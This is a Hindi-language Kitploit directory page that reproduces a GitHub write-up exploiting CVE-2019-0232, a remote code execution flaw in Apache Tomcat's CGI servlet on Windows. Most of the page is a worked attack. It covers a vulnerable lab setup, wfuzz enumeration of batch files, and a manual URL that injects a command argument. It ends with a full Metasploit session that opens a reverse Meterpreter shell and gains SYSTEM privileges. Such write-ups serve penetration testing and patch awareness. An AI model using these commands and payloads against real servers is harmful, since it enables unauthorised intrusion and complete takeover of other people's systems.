Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2019-0232 — CVE-2019-0232-अपाचे टॉमकैट 7.0.42 पर रिमोट कोड निष्पादन | Kitploit
उपकरण/GitHubGitHub/setrus/cve-2019-0232
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगकमांड एंड कंट्रोलपेलोड डेवलपमेंट
GitHubsetrus/cve-2019-0232

CVE-2019-0232

CVE-2019-0232-अपाचे टॉमकैट 7.0.42 पर रिमोट कोड निष्पादन

रिपॉजिटरी देखें
207476 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2019-0232 एक्सप्लॉइट CGI सर्वलेट में रिमोट कोड निष्पादन (RCE) – विंडोज़ पर Apache Tomcat

संदर्भ : https://wwws.nightwatchcybersecurity.com/2019/04/30/remote-code-execution-rce-in-cgi-servlet-apache-tomcat-on-windows-cve-2019-0232/

root@kitploit:~
Apache Tomcat में CGI सर्वलेट में एक कमजोरी है जिसका उपयोग करके रिमोट कोड निष्पादन (RCE) प्राप्त किया जा सकता है। यह केवल तभी शोषणीय है जब विंडोज़ पर गैर-डिफ़ॉल्ट कॉन्फ़िगरेशन में बैच फ़ाइलों के साथ चल रहा हो।

विक्रेता ने Tomcat संस्करण 7.0.94, 8.5.40 और 9.0.19 में सुधार जारी किया है। उपयोगकर्ताओं को जल्द से जल्द अपग्रेड करने की सलाह दी जाती है। इस समस्या पर नज़र रखने के लिए CVE-2019-0232 निर्दिष्ट किया गया है।

इसे एक्सप्लॉइट करने के लिए आवश्यक:

Virtual Box: Windows 7 x86 Tomcat 7.0.42 Java JRE स्थापित

Tomcat 7.0.42 स्थापित करने के बाद हम निम्नलिखित संशोधन करते हैं:

/webapps/ROOT/WEB-INF/ की सामग्री

Alt Tag

cgi फ़ोल्डर में मैंने 2 फ़ाइलें बनाईं : hello.bat और test.bat

Alt Tag

Context privileged=true का मान /conf/context.xml में जोड़ा जाना चाहिए

Alt Tag

/conf/web.xml में निम्नलिखित परिवर्तन करें

Alt Tag

और

Alt Tag

सर्वर पर *bin फ़ाइल की उपस्थिति की जाँच करना

root@kitploit:~
root@setrus:~# wfuzz -c -z file,/usr/share/wordlists/rockyou.txt --hc 404 http://192.168.1.174:8080/cgi/FUZZ.bat

Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.

********************************************************
* Wfuzz 2.2.9 - The Web Fuzzer                         *
********************************************************

Target: http://192.168.1.174:8080/cgi/FUZZ.bat
Total requests: 14344392

==================================================================
ID	Response   Lines      Word         Chars          Payload    
==================================================================

000060:  C=200      1 L	       1 W	     14 Ch	  "hello"
006127:  C=200      1 L	       1 W	     14 Ch	  "HELLO"
010616:  C=404      0 L	       0 W	      0 Ch	  "bball11"^C

Alt Tag

ब्राउज़ करके मैन्युअल शोषण परीक्षण : http://localhost:8080/cgi/test.bat%20%20?&dir

Alt Tag

अब हम सर्वर पर कमांड निष्पादित कर रहे हैं।

Metasploit - बॉक्स पर शेल एक मेटास्प्लॉइट मॉड्यूल है जो हमें बॉक्स पर शेल देगा : exploit/windows/http/tomcat_cgi_cmdlineargs

https://www.exploit-db.com/exploits/47073

नोट: एक्सप्लॉइट के काम करने के लिए आपके पास bat फ़ाइल का सटीक पथ होना आवश्यक है।

root@kitploit:~
msf5 > search CVE-2019-0232

Matching Modules
================

   #  Name                                         Disclosure Date  Rank       Check  Description
   -  ----                                         ---------------  ----       -----  -----------
   0  exploit/windows/http/tomcat_cgi_cmdlineargs  2019-04-10       excellent  Yes    Apache Tomcat CGIServlet enableCmdLineArguments Vulnerability

msf5 > use exploit/windows/http/tomcat_cgi_cmdlineargs
msf5 exploit(windows/http/tomcat_cgi_cmdlineargs) > set rhosts 192.168.1.174
rhosts => 192.168.1.174
msf5 exploit(windows/http/tomcat_cgi_cmdlineargs) > set targeturi /cgi/hello.battargeturi => /cgi/hello.bat
msf5 exploit(windows/http/tomcat_cgi_cmdlineargs) > exploit

[*] Started reverse TCP handler on 192.168.1.159:4444 
[*] Checking if 192.168.1.174 is vulnerable
[*] 192.168.1.174 seems vulnerable, what a good day.
[*] Command Stager progress -   6.95% done (6999/100668 bytes)
[*] Command Stager progress -  13.91% done (13998/100668 bytes)
[*] Command Stager progress -  20.86% done (20997/100668 bytes)
[*] Command Stager progress -  27.81% done (27996/100668 bytes)
[*] Command Stager progress -  34.76% done (34995/100668 bytes)
[*] Command Stager progress -  41.72% done (41994/100668 bytes)
[*] Command Stager progress -  48.67% done (48993/100668 bytes)
[*] Command Stager progress -  55.62% done (55992/100668 bytes)
[*] Command Stager progress -  62.57% done (62991/100668 bytes)
[*] Command Stager progress -  69.53% done (69990/100668 bytes)
[*] Command Stager progress -  76.48% done (76989/100668 bytes)
[*] Command Stager progress -  83.43% done (83988/100668 bytes)
[*] Command Stager progress -  90.38% done (90987/100668 bytes)
[*] Command Stager progress -  97.34% done (97986/100668 bytes)
[*] Sending stage (180291 bytes) to 192.168.1.174
[*] Command Stager progress - 100.02% done (100692/100668 bytes)
[*] Meterpreter session 1 opened (192.168.1.159:4444 -> 192.168.1.174:49185) at 2019-11-21 06:47:23 -0800

meterpreter > 
[!] Make sure to manually cleanup the exe generated by the exploit
meterpreter > shell
Process 2116 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Program Files\Apache Software Foundation\Tomcat 7.0_Tomcat7.0.42\webapps\ROOT\WEB-INF\cgi>whoami
whoami
nt authority\system

Alt Tag

टूल डाउनलोड करें